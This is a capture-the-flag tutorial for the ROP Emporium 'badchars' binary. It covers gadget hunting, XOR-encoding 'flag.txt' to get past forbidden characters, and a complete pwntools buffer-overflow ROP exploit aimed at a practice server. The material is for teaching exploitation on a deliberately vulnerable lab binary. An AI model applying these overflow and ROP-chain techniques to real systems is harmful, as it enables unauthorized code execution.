CTF Writeups Other Notes How-To: Radare2 How-To: GDB

badchars

Avoiding forbidden characters that prematurely terminate execution.

5KB
badchars.zip
archive

In this binary, we will handle a ROP chain where we can't introduce certain characters into our input otherwise the program will terminate. To handle this, we will use various gadgets to enter our input and then fix it so that it properly executes.

Finding the Attack Vector

Running the binary shows us the bad characters:

$ ./badchars
badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'
> ok
Thank you!

Across multiple executions, the bad chars do not change. We can verify this in the debugger and note that the string printed is hardcoded, meaning that the bad chars are not meant to change.

Combing through gdb / radare2, we can check for our goal in the binary. We notice that we have print_file in the library and print_file@plt in badchars. This will be our goal. Like write4, we need to write flag.txt into memory, then pass its address into print_file so its contents are read.

To do this, we need to gadget hunt to find our available maneuvers. We must remember we can't write x, g, a, or . in our input.

$ ROPgadget --binary badchars --only "pop|ret"
Gadgets information
============================================================
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004ee : ret
0x0000000000400293 : ret 0xb2ec

These are a good start. To write to memory, we will need a mov gadget that writes to a QWORD PTR from a register.

$ ROPgadget --binary badchars --only "mov|ret"
Gadgets information
============================================================
0x0000000000400635 : mov dword ptr [rbp], esp ; ret
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
0x00000000004004ee : ret
0x0000000000400293 : ret 0xb2ec

We opt for the second gadget rather than the first because we can write all 8 bytes rather than 4 at a time. We'll take note that we need a pop r12 and pop r13 gadget, which we have:

0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

Now comes the kicker. We need a way to modify the data. The most common solution for this is to xor the data with a known value. This is because xor is its own inverse, meaning that xoring the data with the same value will return the original data.

Let's hunt for a xor gadget:

$ ROPgadget --binary badchars --only "xor|ret"
Gadgets information
============================================================
0x00000000004004ee : ret
0x0000000000400293 : ret 0xb2ec
0x0000000000400628 : xor byte ptr [r15], r14b ; ret
0x0000000000400629 : xor byte ptr [rdi], dh ; ret

We'll take the third one. This gadget does a byte-wise xor of the contents of r15 with r14b. r14b is the lowest byte of r14. This won't prove problematic; we already plan on using a small number to xor, so as long as it's a byte long, we're good.

Our popping gadget already helps us control r14 and r15, which is perfect.

Building the Exploit

Our exploit needs to do the following steps:

  1. Overflow the buffer provided (which takes 40 bytes).

  2. xor the flag with a small value to avoid the bad chars.

  3. Align the stack with a call to ret.

  4. Write our xor-ed copy of flag.txt into memory.

  5. Byte by byte, xor the data back to its original form.

  6. Pass the address of the xor-ed data into print_file.

Let's do that step by step. We'll first address our binary, library, and process:

elf = context.binary = ELF('./badchars')
libc = ELF('./libbadchars.so')
proc = remote('vunrotc.cole-ellis.com', 5500)

Overflowing the buffer is simple enough.

padding = b'A' * 40
ropChain = b''

Now, we need to xor the data. We choose 0x2 because 0x1 turns the f into a g, which is a bad character. To do this byte by byte, we can do the following:

flag = bytes([b ^ 0x2 for b in b'flag.txt'])    # flag = b'dnce,vzv'

Then, we align the stack.

g_ret = 0x400589
ropChain += p64(g_ret)

Now, we need to prepare to write the data into memory. We get an address in writeable memory that doesn't appear to be used. I explain more about this in write4. I chose 0x601038, but there are lots of values to choose that work.

We need to pop the flag into r12 and the address into r13. With some forethought, we know that we can also load r14. r14 will contain the value we will use to xor the data, which was 0x2 from the previous step. We can load r15 with a junk value.

g_popR12R13R14R15 = 0x40069c	# pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
a_writeLoc        = 0x601038	# location to store a string
v_junk 		  = 0x4343434343434343

ropChain += p64(g_popR12R13R14R15)
ropChain += flag
ropChain += p64(a_writeLoc)
ropChain += p64(0x2)
ropChain += p64(v_junk)

Then, we need to call the method to write the data into memory.

g_writeR12AtR13 = 0x400634 		# mov qword ptr [r13], r12 ; ret
ropChain += p64(g_writeR12AtR13)

Now, we need to xor the data back to its original form. This involves popping a byte into r15 and then calling the xor function. 0x2 is already in r14b, so we don't need to do the initialization every time. This is best accomplished with a for loop:

for i in range(8):
	ropChain += p64(g_popR15)
	ropChain += p64(a_writeLoc + i)
	ropChain += p64(g_xor1514)

Finally, we load the address into rdi and call print_file.

ropChain += p64(g_popRdi)
ropChain += p64(a_writeLoc)
ropChain += p64(f_printfile)

We can now send the payload and get our flag.

print(proc.readuntil(b'> '))
proc.send(padding + ropChain)
proc.interactive()

Full Exploit

Here is the full exploit for reference.

exploit.py
from pwn import *

elf = context.binary = ELF('./badchars')
libc = ELF('./libbadchars.so')
proc = remote('vunrotc.cole-ellis.com', 5500)

v_junk 			= 0x4343434343434343
a_writeLoc 		= 0x601038	# location to store a string

f_printfile 		= 0x400510

g_ret 			= 0x400589
g_popRdi 		= 0x4006a3	# pop rdi ; ret
g_popR12R13R14R15	= 0x40069c	# pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
g_writeR12AtR13 	= 0x400634 	# mov qword ptr [r13], r12 ; ret
g_xor1514 		= 0x400628	# xor byte ptr [r15], r14b ; ret
g_popR15 		= 0x4006a2	# pop r15; ret;

# XOR flag with 0x2 to avoid the badchars
flag = bytes([b ^ 0x2 for b in b'flag.txt'])

padding = b'A' * 40
ropChain = b''

# align the stack
ropChain += p64(g_ret)

# load registers (r12=flag, r13=writeLoc, r14=0x2, r15=v_junk)
ropChain += p64(g_popR12R13R14R15)
ropChain += flag
ropChain += p64(a_writeLoc)
ropChain += p64(0x2)
ropChain += p64(v_junk)

# store flag in writeLoc
ropChain += p64(g_writeR12AtR13)

# xor each byte of flag with 0x2
for i in range(8):
	ropChain += p64(g_popR15)
	ropChain += p64(a_writeLoc + i)
	ropChain += p64(g_xor1514)

# call print_file with writeLoc
ropChain += p64(g_popRdi)
ropChain += p64(a_writeLoc)
ropChain += p64(f_printfile)

print(proc.readuntil(b'> '))
proc.send(padding + ropChain)
proc.interactive()

An alternative solution achieves shell on this file by doing a GOT-overwrite. GOT-overwrites are covered in Section 0x8.

Previouswrite4Next0x6: PIE

Last updated